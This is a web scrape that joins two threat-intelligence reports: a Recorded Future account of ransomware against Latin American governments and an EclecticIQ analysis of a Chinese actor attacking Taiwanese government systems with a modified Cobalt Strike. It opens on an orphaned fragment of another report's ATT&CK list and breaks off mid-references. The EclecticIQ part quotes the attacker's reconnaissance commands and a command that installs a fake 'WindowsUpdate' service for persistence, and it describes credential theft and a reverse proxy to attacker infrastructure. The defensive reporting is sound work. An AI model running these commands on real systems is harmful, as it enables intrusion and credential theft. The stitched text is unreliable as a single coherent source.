Code Signing T1562.004:


Disable or Modify System Firewall Discovery T1012:


Query Registry T1033: System Owner/User Discovery T1082: System Information Discovery Collection T1056.001:


Keylogging T1113: Screen Capture T1560:


Archive Collected Data Impact T1486: Data Encrypted for Impact T1531: Account Access Removal Command and Control T1071.001:


Web Protocols T1090.004:


Domain Fronting T1102: Web Service T1105:


Ingress Tool Transfer T1219:


Remote Access Software T1572:


Protocol Tunneling T1573.002:


Asymmetric Cryptography Lateral Movement T1021.004: SSH T1021.005: VNC Credential Access T1003.001:


LSASS Memory Resource Development T1588.003: Code Signing Certificates T1588.004: Digital Certificates T1608.003: Install Digital Certificate Acknowledgements Thanks to everyone that contributed analysis and review.


Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.


Recorded Future examined the recent escalation of cyberattacks on Latin American (LATAM) governments from January 2022 until May 2022.

Latin American Governments Targeted By Ransomware


We analyzed vulnerabilities, attack vectors, and indicators of compromise (IOCs), identified the most prevalent ransomware gangs targeting LATAM governments, and highlighted the lack of proper cybersecurity hygiene in the region.


This report includes information gathered using the Recorded Future Platform, dark web sources, and open-source intelligence techniques (OSINT).Executive SummaryWe identified several government entities in Latin America (LATAM) that have been affected by ransomware attacks, likely involving Russian or Russian-speaking threat actors, beginning on or around April 2022.


Countries affected include Costa Rica, Peru, Mexico, Ecuador, Brazil, and Argentina, among others, all of which have publicly condemned Russia for invading Ukraine at the United Nations General Assembly (UNGA).


Some of these countries also voted to suspend Russia from the United Nations Human Rights Council (UNHRC) in early April 2022.


More recently, national emergencies have been issued regarding these attacks, such as in Costa Rica.


Ransomware groups involved in these attacks against governments in LATAM include Conti, ALPHV, LockBit 2.0, and BlackByte.


We have anecdotally identified a noticeable increase in initial access brokerage (IAB) services on top-tier Russian-language dark web and special access forums such as XSS and Exploit advertising low-cost, compromised network access methods related to entities in LATAM.


We have also observed several high-profile database leaks related to entities in LATAM on low-tier and mid-tier English-speaking forums such as BreachForums, with data dumps spiking in April 2022.


Additionally, we observed a significant increase in the sale of compromised credentials affecting LATAM government domains on dark web shops in Q1 and Q2 2022, relative to 2021.


These observations and trends could represent a paradigm shift in the ransomware and broader cybercriminal community related to unwritten rules and internal group policies on the targeting of government entities.


Key JudgmentsThe credibility of ransomware attacks on LATAM government entities is high, based on analysis of leaked sample data, threat actor indications, and historical activities, patterns, and trends related to tracked ransomware operators and affiliates.


If unaddressed, ransomware attacks on local, provincial, or federal government entities in LATAM could constitute a credible national and geopolitical security risk.


Entities in LATAM will remain attractive targets for ransomware operators and affiliates, as the region lacks the proper cybersecurity education, hygiene, and infrastructure to defend against such threats.


If attacks on LATAM government entities were to escalate to target infrastructure and critical services, this would pose a significant national security risk.


The most likely attack vectors employed by ransomware affiliates targeting LATAM government entities include the use of compromised valid credentials obtained via infostealer infection, initial access broker sale, or purchase on a dark web shop or marketplace.


The targeting of LATAM government entities could represent an initial shift away from internal cybercriminal policies on the targeting of governments worldwide.


Threat AnalysisAttack VectorsAs of May 26, 2022, we can not definitively determine the attack vector employed by ransomware operators and affiliates targeting LATAM government entities.


However, the most common method by which threat actors obtain initial access to networks is through the use of compromised valid credential pairs (T1078) and session cookies (T1539), which are often harvested from a successful infostealer infection (T1555, T1083) and sold by specialized initial access brokers on dark web and special-access sources.


This is the most likely avenue by which such threat actors gained access to compromised LATAM government networks.


These infostealers are often spread via phishing (T1566), spamming, the unintentional downloading of a malicious (T1204) or masquerading (T1036) file, and various other methods.


We have observed a minor, sustained increase in references to initial access sales and database leaks targeting LATAM government entities on dark web and special-access sources, beginning in approximately March 2022.


These observations are recorded anecdotally via Insikt Groups daily threat leads, analyst notes, and reports.


We have observed several threat actors, such as zirochka, on top-tier Russian-language forums XSS and Exploit auctioning compromised network accesses targeting entities in LATAM in bulk for relatively low prices (< $100).Figure 1: Timeline of ransomware attacks on LATAM government entities, mapped to references to LATAM on dark web and special-access sources (Source: Recorded Future)We have observed a slight increase in database dumps related to LATAM government entities, beginning in March 2022 and spiking on April 4, 2022.


We have also identified a significant increase in Q1 2022, beginning in February 2022, of references to domains owned by government entities in LATAM on dark web shops and marketplaces such as Russian Market, Genesis Store, and 2easy Shop, relative to the same time period in 2021.


These dark web shops and marketplaces specialize in the sale of compromised account credentials, remote desktop protocol (RDP) and secure shell (SSH) accesses, and infostealer malware logs that can be utilized to gain access to a victims network.


While we cannot determine any direct or causal link between the increased supply, frequency, and volume of advertisements targeting government entities and domains in LATAM to ransomware attacks targeting LATAM government entities, we believe that such trends and observations warrant further research to analyze and determine any possible correlation.


Figure 2: Examples of bulk initial access auctions targeting unspecified entities in LATAM (Source: Exploit Forum)Ransomware Gangs Targeting LATAM Government EntitiesWe have observed at least 4 high-credibility ransomware gangs targeting LATAM government entities during a period of time beginning on April 1, 2022.


These gangs include Conti, ALPHV (BlackCat), LockBit 2.0, and BlackByte.


These incidents constitute a significant escalation in the severity and impact of ransomware targeting.


Generally, ransomware affiliates avoid targeting healthcare facilities, K-12 educational institutions, international organizations and coalitions, and local, provincial, or federal governments.


The risk of negative publicity and stigmatization on dark web and special-access forums, mainstream media attention, and international law enforcement activity increases dramatically once targets in these industries are attacked.


It is possible that the targeting of LATAM entities by presumably Russian or Russian-speaking ransomware gangs could mark the beginning of a paradigm shift in which targets that were previously internally sanctioned by the group could now become viable targets for ransomware operations.


ContiThe most noteworthy of these targets is the attack on the government of Costa Rica by Conti, which resulted in the worlds first nationwide emergency declared as the result of a ransomware attack.


The attack, likely perpetrated and publicized by ransomware affiliate or affiliate group unc1756, also likely known as wazawaka, has garnered widespread media and law enforcement attention.


Since affiliates often work independently from the larger ransomware brand, it is possible that the attacks on Costa Rica that were claimed by Conti are not the work of the larger group.


Conti has claimed to have exfiltrated, encrypted, or destroyed approximately 1TB of sensitive information related to the administration and operations of several Costa Rican entities including the Ministry of Finance (hacienda[.]go[.]cr), the Ministry of Labor and Social Security (mtss[.]go[.]cr), the Development Fund and Family Allowances Bureau (fodesaf[.]go[.]cr), and the Interuniversity Headquarters of Alajuela, Costa Rica (siua[.]ac[.]cr).


Previous Conti posts also made vague references to controlling public utilities such as water and electricity, likely indicating indirectly that the group had access to Costa Rican industrial control system / supervisory control and data acquisition (ICS/SCADA) environments.


However, we are not able to verify these claims.


Conti followed their claims of an attack on Costa Rica with an attack on Peru that affected the General Directorate of Intelligence (digimin[.]gob[.]pe) and Ministry of Economics and Finance (mef[.]gob[.]pe).Figure 3: Announcements of attacks on Costa Rican and Peruvian government entities by the Conti Gang (Source: Conti.News)ALPHV (BlackCat)On April 16, 2022, the ransomware gang ALPHV (BlackCat) leaked an unspecified amount of compromised data related to the Municipality of Quito, Ecuador (quito[.]gob[.]ec).


This marked the first time that ALPHV targeted a government entity located in LATAM.


According to Ecuadorian media, this attack took several services offline for an unspecified amount of time.


This is a noteworthy event, as the Mayors Office of Municipality of Quito and State Attorney Generals Office confirmed that the initial attack caused the suspension of several critical government services, which caused an inconvenience to users who have not been able to carry out procedures.


As of April 25, 2022, all of the information claimed to have been exfiltrated by ALPHV is available to download for free on a .onion domain provided on the public-facing ALPHV extortion website with the same name.


Compromised information likely includes sensitive financial, legal, and political documents related to the operations and administration of the Municipality of Quito, Ecuador.


This information, if leveraged by an opportunistic threat actor, criminal, or nation-state, could prove to be damaging to Ecuadors national security.


Figure 4: Announcements of an attack on the Municipality of Quito, Ecuador from the BlackCat Ransomware Group (Source: ALPHV)LockBit


2.0On May 23, 2022, the LockBit 2.0 ransomware gang published to their blog leaked files related to the Secretary of Health of the State of Morelos, Mexico (saludparatodos[.]ssm[.]gob[.]mx), a breach that was initially disclosed on or around May 16, 2022.


This disclosure followed a previous claim on April 22, 2022 that LockBit 2.0 had compromised the network of the Secretary of State for Finance of Rio De Janeiro, Brazil (fazenda[.]rj[.]gov[.]br).


Neither of these incidents were widely reported in either Mexican or Brazilian media.


As of April 25, 2022, it is unclear whether the attacks resulted in a significant disruption of critical services related to the government entities.


Additionally, also as of April 25, 2022, all of the information claimed to have been exfiltrated by the LockBit 2.0 ransomware gang is available to download for free on the public-facing LockBit 2.0 extortion website called LockBit 2.0 Leaked Data.


The compromised information likely includes sensitive financial, legal, and political documents related to the operations and administration of these entities.


This information, if leveraged by an opportunistic threat actor, criminal, or nation-state, could prove to be damaging to the national security of Mexico and Brazil.


Figure 5: Announcements of attacks on Mexican and Brazilian government entities by the LockBit Gang (Source: LockBit Blog)BlackByteOn May 21, 2022, the BlackByte ransomware operators published claims on their public-facing extortion website named BlackByte Blog that they had compromised the internal network of the Comptroller General of the Republic of Peru (contraloria[.]gob[.]pe).


As of April 25, 2022, the BlackByte ransomware operators have not published any noteworthy data related to this government entity.


This attack has yet to be confirmed by any representatives of the Comptroller General of Peru and has not been extensively reported on in Peruvian or Spanish-language media.


As of this writing, we cannot determine if this attack caused the disruption of critical services provided by the comptroller general, although it is likely that any detected service disruptions on the domain are related to this attack.


Figure 6: Announcement of an attack on a Peruvian government entity by the BlackByte Ransomware Gang (Source: BlackByte Blog)Cybersecurity Hygiene and Trends in Latin AmericaAlthough most countries in LATAM have adopted a national cybersecurity strategy, there is still much work yet to be done in terms of improving the cyber capacity and security posture in both the private and public sectors; at the moment, only 3 LATAM countries (Brazil, the Dominican Republic, and Mexico) are members of the 30-plus-country ransomware task force.


The most effective investment would be to give residents in LATAM and the Caribbean in-person or remote access to IT security-oriented schools and training institutions.


Educational and training institutions in the region simply cannot keep up with the current demand for IT security professionals.


Investments in education, training, and apprenticeship programs would make the most difference in building capacity, closing the cyber skills gap, and getting more individuals into the cyber talent pipeline.


Supporting and encouraging younger individuals to seek an education and training within the cyber realm can drastically affect the skills shortage and improve public awareness on cyber threats; the region has been particularly affected by cybercrime and fraud during the pandemic.


While it is difficult to evaluate countries given their alternative approaches to cybersecurity, some have decided to leave cybersecurity to private firms while others have leaned on government agencies and the military to combat cybercriminals.


According to the Organization of American States (OAS) cybersecurity observatory, most LATAM countries are in the early stages of cybersecurity development.


As a result, there is still a lot to accomplish and implement in terms of cyber security policies in Central American and Caribbean countries.


Nevertheless, countries such as Argentina, Dominican Republic, Ecuador, Panama, and Peru, among others, are making significant efforts to advance their cyber capabilities.


However, there is a small list of countries with established policies, legal frameworks, institutional capacity, and human capital resources, including Brazil, Uruguay, Colombia, and Chile.


And although they are still developing, countries such as Brazil, Colombia, Chile, and Mexico have taken the lead in broadening their institutional capacities, including the development of cyber laws, policies, and regulations.


There is also increased expertise in the private sector, primarily the financial sector, within these nations.


MitigationsIt is crucial to maintain offline backups of your organizations data and ensure that these backups stay up to date to prevent data loss in the event of a ransomware infection.


Additionally, we recommend the following mitigations to reduce overall risk and impact:Ransomware often follows a specific pattern of behavior that can be detected with a robust threat intelligence system that is integrated with SIEM platforms.


Implement YARA rules such as the ones found in Recorded Future Hunting Packages to identify malware via signature-based detection or SNORT rules for endpoint-based detections.


The IOCs provided throughout this report can be used to proactively query or scan environments for items such as file hashes, registry keys, and IP traffic associated with ransomware.


Network segmentation can halt the propagation of ransomware through an organizations network.


This solution involves splitting the larger network into smaller network segments and can be accomplished through firewalls, virtual - local area networks, or other separation techniques.


Implement intrusion detection / intrusion prevention (IDS/IPS) systems and endpoint detection and response (EDR) systems.


Provide robust anti-phishing training for employees and staff.


If remote access solutions are crucial to daily operations, all remote access services and protocols such as Citrix and RDP should be implemented with two-factor or multi-factor authentication.


Exposed RDP servers are also abused by threat actors to gain initial access into a targets network.


Threat actors will look for networks that have internet-facing servers running RDP and then exploit vulnerabilities in those servers or use brute force password attacks.


Once inside the network, the threat actors move laterally and install ransomware on target machines, often disabling backups and other protections.


Through the use of process monitoring, monitor for the execution and command of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit.


Monitor for the creation of suspicious file modification activity, particularly large quantities of file modifications in user directories.


Consider keeping sensitive client information on systems that are disconnected from the internet or segmented from the rest of the corporate network.


Since ransomware will encrypt all files on a victim system and often will search for directories on the network (such as networked file shares) to also encrypt, moving highly sensitive customer data to a system with no internet access or access to the rest of the network will minimize ransomwares access to those files.


OutlookRansomware will likely continue to be incorporated into the attack methods of threat actors targeting public and private entities in LATAM due to their availability as ransomware-as-a-service (for non-technical threat actors) and highly successful infection rates.


Compromised accounts and networks are highly sought after by threat actors and will remain in high demand because they can be used in a number of attack vectors, including but not limited to account takeovers, identity theft, social engineering, credential stuffing, and brute forcing.


As LATAM is an up-and-coming region whose security posture is not as sophisticated or developed as some other regions for various reasons (geopolitical circumstances and developing infrastructure, among others), threat actors may view LATAM entities as easy targets for harvesting sensitive and financially lucrative accounts via infostealer infections.


As incident response teams in the region build up their security posture, threat actors are likely to continue to enhance and create infostealer variants to target organizations in LATAM with the intent of harvesting personal and corporate account login details and other important data.


Executive Summary EclecticIQ researchers identified a malicious web server very likely operated by a Chinese threat actor used to target Taiwanese government entities, including critical infrastructure.

Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure


The command-and-control infrastructure was publicly exposed to the internet.


Based on log and meta data found on the server, EclecticIQ analysts assess with high confidence the threat actor performed offensive cyber operations, including reconnaissance, malware delivery, and post-exploitation against selected targets.


EclecticIQ analysts identified a modified version of Cobalt Strike known as "Cobalt Strike Cat"[1].


Researchers analyzed these logs and created a detailed map of the adversary's tactics, techniques, and procedures (TTPs).The threat actor primarily focused on exploiting four different remote code execution (RCE) vulnerabilities to target web services and heavily relied on open-source tools, some of which are exclusively available in Chinese underground forums.


The threat actor also engaged in brute-forcing against the victim's internal web services.


Exposed Threat Actor Infrastructure Reveals


Offensive Tooling EclecticIQ analysts discovered a web server with the IP address 156[.]251[.]172[.]194, which was accessible to the public.


The server contained HTTP header data (SimpleHTTP/0.6 Python/3.8.10), indicating the use of a Python library called SIMPLEHTTPSERVER to serve the files and folders detailed in Figure 1. Figure 1 – Screenshot of exposed threat actor infrastructure showing available tools and target lists..


EclecticIQ analysts identified post-exploitation and reconnaissance tools on the server.


Most of the tools are open source.


Based on the event logs within a modified version of Cobalt Strike, analysts have determined with high confidence that Mandarin was set as the default language.


The identified tools include: Afrog: Vulnerability Scanning for Penetration Testing [2] CIPR:


Converting domain name to IP address [3] Neo-reGeorg: Reverse proxy tool [4] Nuclei: Vulnerability scanner


[5] OneForAl: Subdomain collection tool [6] Fscan: Reconnaissance tool


[7] LaZagne: Recover stored passwords on a system [8] SharpCheckInfo: Situation awareness tool [9] HackBrowserData: Decrypting and exporting browser data [10] FRP: Reverse proxy tool


[11] ONE-FOX: Collection of Penetration Tools


[12] Targeted Attack Lifecycle The Targeted Attack Lifecycle is a methodology to map adversary tactics, techniques, and procedures (TTPs) in a structed way.


EclecticIQ analysts mapped identified TTPs to each phase of the life cycle (Figure 2) - beginning with the threat actor´s infrastructure (156[.]251[.]172[.]194) and continuing with the different tools used by the actor to compromise systems and perform lateral movement.


Figure 2 – Targeted Attack Lifecycle of the threat actor.


Reconnaissance of Exposed Webservices The threat actor utilized reconnaissance tools to scan and fingerprint systems exposed to the internet.


In some cases, the actor used a preconfigured (hard-coded) target lists, which is showing the intended victims.


EclecticIQ analysts validated many of these targets as real and existing systems.


Figure 3 shows an example of a target list created by the attacker, which mainly contains Taiwanese government entities.


This list served as input for OneForAll - a subdomain enumeration tool.


Figure 3 – Files inside the exposed infrastructure under the OneForAll file path.


After enumerating subdomains of the associated victim network, the threat actor uses automated vulnerability scanning tools including Nuclei and Afrog to identify potentially exploitable systems.


Figure 4 shows final report logs from Afrog and Nuclei found on the attacker infrastructure.


The threat actor utilized virtual sandboxes named "Test" to demonstrate cyber-attacks before executing them on a real victim device.


The IP addresses observed in these virtual sandboxes are tied to the same computer name, identified as DESKTOP-0TBCAC4.


The adversary also demonstrated an interest in exploring the public-facing network surface of public transport and utilities industries.


Figure 4 – Completed reconnaissance and vulnerability scans.


Initial Compromise Through Exploiting Publicly Facing Applications


The threat actor utilized automated vulnerability discovery and reconnaissance techniques to scan a given target list, refine the selection and identify potential exploitable systems before commencing the attack.


Based on evidence obtained from the bash history data, EclecticIQ researchers observed that the threat actor primarily focuses on four different known remote code execution (RCE) vulnerabilities during their operations:• CVE-2023-21839 Oracle WebLogic Server RCE


[13]• CVE-2021-3129 Laravel debug mode RCE


[14]• CVE-2020-2551 Oracle WebLogic RCE


[15]• CVE-2021-44228 Apache Log4j


[16] Figure 5 – BASH history logs of from the threat actor’s system showing exploitation of CVE-2020-2551.


Establish Foothold by Modified Version of Cobalt Strike The threat actor utilized a modified version of Cobalt Strike 4.5, dubbed "Cobalt Strike Cat", to create a dedicated communication channel from the victim system and perform evasive post-exploitation steps.


Cobalt Strike Cat was initially shared on a Chinese-speaking cybersecurity forum called t00ls[.]com, with a link to a GitHub repository and was distributed inside an encrypted ZIP folder.


Only registered users of t00ls[.]com could obtain the decryption key for the ZIP folder and access the tool.


Notably, t00ls[.]com is a private forum that can only be accessed by individuals who possess invitation codes for the site.


Figure 6 – “I want to become a master hacker”.


Publication of Cobalt Strike Cat on t00ls[.]com.


Figure 7 – Example user interface of Cobalt Strike Cat shared on a GitHub repository.


Notable features of Cobalt Strike Cat include: 1.


Evasion techniques to specially bypass Anti-Virus solution “360 Total Security”, which is a Beijing, China-registered internet security company mostly used in Asia-Pacific region.2.


Option to use Google 2FA key during login to the command-and-control server as an attacker for further operational security.


3. Modified stager designed to evade signature-based detection during malware execution.4.


Patch for publicly available Cobalt Strike vulnerability tracked as CVE-2022-39197 [17].Figure 8 shows a small portion of Cobalt Strike Cat logs from the attacker´s infrastructure.


According to log data, a reverse shell was established from the remote victim device as SYSTEM-level privileges using a process named "bea.exe".


The attacker then changed the Cobalt Strike Cat beaconing frequency for behaviour-based evasion by sending the "sleep 10" command to the infected host and executed the "tasklist /SVC" command to list all running processes on the victim device.


Figure 8 – Sample of Cobalt Strike Cat logs.


The result of the "tasklist" command shows that the victim was using a commercial software called SONAS


SONAS is an application for remote monitoring and control of Internet of Things (IoT) hardware devices.


Analysts assess with high confidence that the compromised device was used to access CCTV cameras of the Directorate General of Highways in Taiwan.


Analysis showed that the victim IP address was publicly serving a web service that contained a phpMyAdmin database.


The database used a weak password and was susceptible to brute-force attacks.


Figure 9 shows the redacted victim DNS address, confirming that the web service was used by the Taiwanese government.


The IP addresses and the computer name matched the victim device name in the Cobalt Strike Cat logs.


Figure 9 – PHPINFO page from victim web service.


Internal Reconnaissance to Identify Lateral Movement Opportunities EclecticIQ researchers observed multiple internal network reconnaissance attempts after initial compromise.


These attempts are primarily performed with an open-source automated vulnerability scanning and brute forcing tool called FSCAN.


Figure 10 showed that the threat actor used FSCAN (named as f.exe) to find possible vulnerabilities on internal network of infected device which can be used by threat actor to perform lateral movement: Figure 10 – Usage of FSCAN on a victim’s network.


EclecticIQ researchers observed that the threat actor used the Windows command-line arguments to perform general reconnaissance against infected devices.


The following commands were identified: Command Line Argument Description query user || qwinsta Display information about logged-on users and their sessions.


net user Displays information about user accounts.


findstr /s /i


"DBPath" *.* Used to search for the string "DBPath" in all files within the current directory and its subdirectories. arp –a Address resolutions for remote systems. netsh wlan show profiles Display a list of all the wireless network profiles.


dir %APPDATA%\Microsoft\Windows\Recent List of recently opened files and folders on the computer.


Figure 11 shows some examples of commands executed by the threat actor on an infected host: Figure 11 – Executed reconnaissance commands on infected host.


Escalate Privileges with Stolen Credentials The threat actor uses stolen passwords from valid accounts as the primary vector for privilege escalation.


The actor deployed various credential stealing techniques against compromised hosts to obtain user account passwords in NTLM hash format and saved credentials from web browser.


These passwords would allow the threat actor to escalate privileges using valid accounts if the accounts were privileged .


The Cobalt Strike Cat beacon logs (Figure 12) show that the actor uploaded LaZagne onto the infected device for credential harvesting purposes and deleted the LaZagne binary after execution to avoid detection from the user's side.


EclecticIQ researchers observed LaZagne uploaded from the attacker device (“C:\Users\Test\Desktop\ONE-FOX集成工具箱_V1.0魔改版_by狐狸\gui_other\Cobalt_Strike_4.5\plugin\TaoWu\script\lazagne.exe”) to the victim device file path C:\Windows\Temp.


The actor leveraged ONE-FOX - a collection of pentest tools - to copy binaries from actor´s system to the victim. Figure 12 – Threat actor successfully obtained user account credentials in NTLM format.


The threat actor utilized an open-source tool called HackBrowserData to export victim browser data, including passwords, history, cookies, bookmarks and download records from several web browsers.


Figure 13 – Execution of Hack-browser-data on infected host.


Maintain Presence via Windows Service Installation To establish persistent remote access on the victim device, the threat actor abused Windows services to install modified version of Cobalt Strike payload.


Windows services ran with the highest privilege, NT AUTHORITY\SYSTEM and execute the malware automatically during system startup, allowing for remote access to the victim device with persistence.


Malicious service installation is accomplished via the below command line argument: sc create WindowsUpdate binPath= C:\Windows\Temp\svchost.exe start= auto obj= LocalSystem DisplayName= windowsupdate When this command is executed on remote victim device, it will install a fake Windows service called “windowsupdate”.


This service executes a malicious binary (Cobalt Strike Cat payload) under “C:\Windows\Temp\svchost.exe” every time the victim device is started.


Figure 14 – Installation of malicious Windows service.


Move Laterally


Trough Reverse Proxy The threat actor utilized open-source reverse proxy tools to expose local devices located behind a NAT or firewall, to the Internet.


This allowed the attacker to conduct vulnerability scans, general reconnaissance, and brute-force attacks on systems attached to the internal network of the infected device.


Threat actor uploaded the fast reverse proxy (FRP) binary to the "C:\Windows\Temp" file path and then executed it on victim machine.


Figure 15 displays the reverse SOCKS proxy activity on the infected device using the open-source tool FRP.


FRP received a command-line argument from attacker used to establish a connection from the adversary-controlled infrastructure (156[.]251[.]172[.]194) over port 2333.


Figure 15 – Execution of FRP reverse SOCKS proxy on infected host.


After establishing the reverse SOCKS proxy connection, the threat actor performed internal reconnaissance and brute forcing attempts on some of the internal FTP servers inside victim network. Victimology and Targeting Patterns EclecticIQ researchers assess with moderate confidence that the primary targets of the threat actor are Taiwanese government entities and organizations in the critical infrastructures sector.


Logs obtained from attacker infrastructure, such as target lists and metadata show that organizations in Taiwan account for the largest proportion of targets.


According to event logs, on 02/09 at 08:51:43 UTC, EclecticIQ researchers have concluded with high confidence that the actor compromised an IOT device in the network of the Directorate General of Highways, MOTC in Taiwan


After this initial comprise the threat actor performed reconnaissance and credential harvesting from infected host, very likely to perform lateral movement as an end goal.


Although the majority of activity was directed at Taiwanese government entities, researchers also observed other separate target lists containing IP addresses and domains associated to government websites from Egypt, Malaysia, Dominican Republic and the UAE also targeted recently by this threat actor.


Figure 16 – Reconnaissance against Malaysian and Egyptian government entities.


The reconnaissance against Malaysian and Egyptian government entities was carried out using a generic Python script that contained an author comment section with the handle "mwxiaojia."


However, there is no distinct evidence to conclusively attribute the cyber operations to an individual using that persona.


Attribution EclecticIQ analysts assess with moderate confidence that the infrastructure was operated by a Chinese threat actor.


Analysts identified the following findings supporting the assessment: The modified version of Cobalt Strike event logs obtained from the threat actor infrastructure revealed additional IP addresses that very likely belong to the attacker and metadata that very likely show the origin of the attacker.


File and folder names, file content and comments in threat actor tools were written in Mandarin.


The timezone of attacker virtual sandbox 103[.]156[.]184[.]83 is in the UTC+08:00 timezone.


This time zone is used in all predominantly Chinese-speaking regions.


Every successful login attempt made by the attacker using the default Cobalt Strike username 'neo' to access the command-and-control server was logged, along with the attacker's IP address.


EclecticIQ researchers observed that the threat actor used private proxy addresses from a Chinese underground proxy IP solution called 'Tigercloud Club' to conceal their real IP address.


Some of tools used by the actor are exclusively available in Chinese underground forums.


The identified adversary TTPs overlap with a previously known Chinese APT group called Budworm [20].


Cobalt Strike Cat event logs: Figure 17 – Event logs from Cobalt Strike Cat showing details about victim and threat actor.


Figure 18 – Event logs from Cobalt Strike Cat showing details about the testing sandbox used by the threat actor.


Mitigation and Prevention Strategies One of the main initial access vector is exploitation of publicly exposed web services.


EclecticIQ researchers recommend limiting the remote access of publicly available web services and consistently monitoring and installing available patches.


Reconnaissance attempts on publicly exposed web services can be detected and stopped using a combination of techniques, such as: • Log analysis:


Monitoring and analyzing logs generated by the web server can help identify abnormal traffic patterns, such as repeated attempts to access a specific resource or an unusually high volume of requests from a single IP address.• Network traffic analysis: Network traffic analysis can help identify traffic that is not legitimate or is attempting to scan the network or web services.• Intrusion detection systems: Deploying an intrusion detection system (IDS) can help identify and alert administrators to malicious activities such as port scans or network sweeps.• Web application firewalls: Web application firewalls (WAF) can be used to protect web services from reconnaissance attempts by blocking or limiting access to resources and detecting and blocking known malicious patterns in web traffic.


The threat actor used a variation of Cobalt Strike as a command and control (C2) server to send malicious commands into infected computers.


Some tips to help prevent such C2 connection attempts: • Monitor network traffic:


Monitor network traffic regularly to detect unusual activities or traffic patterns that may indicate C&C connections.• Deploy firewalls:


Deploy firewalls to block traffic from known C&C domains or IP addresses.


The threat actor installed a second stage persistence backdoor on infected device by abusing Windows Services.


The actor then tried to dump User Account credentials via SAM database and attempted to access saved browser credentials.


There are several ways to use Windows Group Policy to avoid these kinds of post exploitation attempts: •


Disable the "Create global objects" user right:


This user right allows non-administrative users to create global objects, including services.


By disabling this user right, you can prevent non-administrative users from creating services.• Restrict access to the Security Accounts Manager (SAM) file: The SAM file contains sensitive information, including user account passwords.


By default, only the SYSTEM account has access to the SAM file.


However, an attacker who gains administrative access to the system can potentially dump the SAM file and extract password hashes.


Restrict access to the SAM file, you can use the "Deny access to this computer from the network" user right.


By denying network access to the system, you can prevent attackers from using network-based attacks to dump the SAM file.• Disable password saving in web browser using Group Policy.


Indicators Command and Control server – Exposed web server: • 156[.]251[.]172[.]194Threat Actor IPs based on Cobalt Strike Cat event logs (very likely proxy address): •


103[.]156[.]184[.]89• 172[.]104[.]53[.]19• 103[.]156[.]184[.]83• 192[.]46[.]227[.]146• 140[.]99[.]149[.]35• 172[.]104[.]191[.]194Testing labs used by threat actor for planning the attack chain before executing on real victim device:• 172[.]105[.]117[.]179• 103[.]156[.]184[.]83Web service used to obtain bulk Proxy IP address from TigerCloud Club: • hxxp[://]38[.]54[.]50[.]246:10001 (https://gist.github.com/whichbuffer/250e36cd24357460fd2b1653091a3e9f)MD5 Hash:• d0139fda662f3ca949dd335c30573fa2 modify.exe •


996c3eb5c21a20dd13b7ceee6c80b673 f3p.exe • 825c126e8547fbb01ff21d2100343bd2 run.ini • 73255c8357afd671c2256360d0be69cd lazagne.exe • c72e18c26307bc50d4936c0f5f0df36b svchost.exe (modified Cobalt Strike)• b7b1d390baaf579925ec6a33b6beeec8 hack-browser-data.exe • 03f45692db10fe291de65f15ca9761af frpcx.exe • a284c8b14e4be0e2e561e5ff64e82dc7 fscan.exe • 0b9e8fca5dc4775964492d7d333da25d svchost.exe (modified Cobalt Strike) MITRE ATT&CK Exploit Public-Facing Application – T1190 Exfiltration Over C2 Channel - T1041 OS Credential Dumping: Security Account Manager - T1003.002 OS Credential Dumping: LSASS Memory - T1003.001


Proxy: Internal Proxy - T1090.001 Brute Force - T1110 Active Scanning:


Scanning IP Blocks - T1595.001 Credentials from Password Stores: Credentials from Web Browsers - T1555.003 Create or Modify System Process: Windows Service - T1543.003 Remote Services: Windows Remote Management - T1021.006 Active Scanning: Vulnerability Scanning - T1595.002 System Network Configuration Discovery - T1016 About EclecticIQ Intelligence & Research Team EclecticIQ is a global provider of threat intelligence, hunting, and response technology and services.


Headquartered in Amsterdam, the EclecticIQ Intelligence & Research Team is made up of experts from Europe and the U.S. with decades of experience in cyber security and intelligence in industry and government.


We would love to hear from you.


Please send us your feedback by emailing us at research@eclecticiq.com.


You might also be interested in: Russian Malware Network Dismantled; Iranian Threat Actors Attack PaperCut Servers Polish Healthcare Industry Targeted by Vidar Infostealer Likely Linked to Djvu Ransomware Introducing EclecticIQ Intelligence Center 3.0 References [1] “TryGOTry/CobaltStrike_Cat_4.5:


猫猫Cs:基于Cobalt Strike[4.5]二开 (原dogcs二开移植).”


https://github.com/TryGOTry/CobaltStrike_Cat_4.5 (accessed Apr. 25, 2023).


[2] zan8in, “afrog.”


Apr. 28, 2023.


[Online].


Available: https://github.com/zan8in/afrog (accessed: Apr. 28, 2023).


[3] “cIPR/cmd/cIPR at main · canc3s/cIPR,” GitHub.


https://github.com/canc3s/cIPR (accessed Apr. 28, 2023).


[4] “L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg.”


https://github.com/L-codes/Neo-reGeorg/tree/master (accessed Apr. 28, 2023).


[5] “projectdiscovery/nuclei: Fast and customizable vulnerability scanner based on simple YAML based DSL.”


https://github.com/projectdiscovery/nuclei (accessed Apr. 28, 2023).


[6] J. Ling, “OneForAll.”


Apr. 26, 2023.


Available: https://github.com/shmilylty/OneForAll (accessed: Apr. 26, 2023).


[7] 影舞者, “fscan.”


Available: https://github.com/shadow1ng/fscan (accessed: Apr. 28, 2023).


[8] AlessandroZ, “The LaZagne Project !!!”


Available: https://github.com/AlessandroZ/LaZagne (accessed: Apr. 28, 2023).


[9] “SharpCheckInfo/README.md at master · uknowsec/SharpCheckInfo,” GitHub.


https://github.com/uknowsec/SharpCheckInfo (accessed Apr. 28, 2023).


[10] ᴍᴏᴏɴD4ʀᴋ, “HackBrowserData.”


Available: https://github.com/moonD4rk/HackBrowserData (accessed: Apr. 28, 2023).


[11] fatedier, “frp.”


Available: https://github.com/fatedier/frp (accessed: Apr. 28, 2023).


[12] 雨苁, “ONE-FOX渗透测试集成工具箱_V1.0魔改版 by狐狸,” :Japanese_symbol_for_beginner:雨苁ℒ:Japanese_symbol_for_beginner:, Aug. 22, 2022.


https://www.ddosi.org/one-fox/ (accessed Apr. 28, 2023).


[13] “NVD - CVE-2023-21839.”


https://nvd.nist.gov/vuln/detail/CVE-2023-21839 (accessed Apr. 28, 2023).


[14] “NVD - CVE-2021-3129.”


https://nvd.nist.gov/vuln/detail/CVE-2021-3129 (accessed Apr. 28, 2023).


[15] “NVD - CVE-2020-2551.”


